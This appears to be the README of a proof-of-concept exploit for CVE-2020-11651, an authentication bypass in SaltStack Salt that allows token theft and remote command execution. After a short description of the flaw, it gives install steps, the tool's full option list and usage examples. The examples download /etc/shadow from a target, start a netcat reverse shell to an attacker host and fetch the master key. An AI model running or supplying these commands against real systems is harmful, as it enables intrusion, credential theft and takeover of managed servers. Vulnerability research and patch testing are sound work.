CVE-2020-11651

An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.

Details

Patches for unspported salt versions

Install

git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py

Usage

$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]

CVE-2020-11651 PoC

optional arguments:
  -h, --help            show this help message and exit
  --host HOST, -t HOST
  --port PORT, -p PORT
  --execute COMMAND, -e COMMAND
                        Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
  --upload src dest, -u src dest
                        Upload a file
  --download src dest, -d src dest
                        Download a file
  --minions             Send command to all minions on master
  --quiet, -q           Enable quiet/silent mode
  --fetch-key-only      Only fetch the key

Example

Download shadow file

./PoC.py --host target.com --download /etc/shadow ./shadow

Run a reverse shell

nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""

Fetch the key

./PoC.py --host target.com --fetch-key-only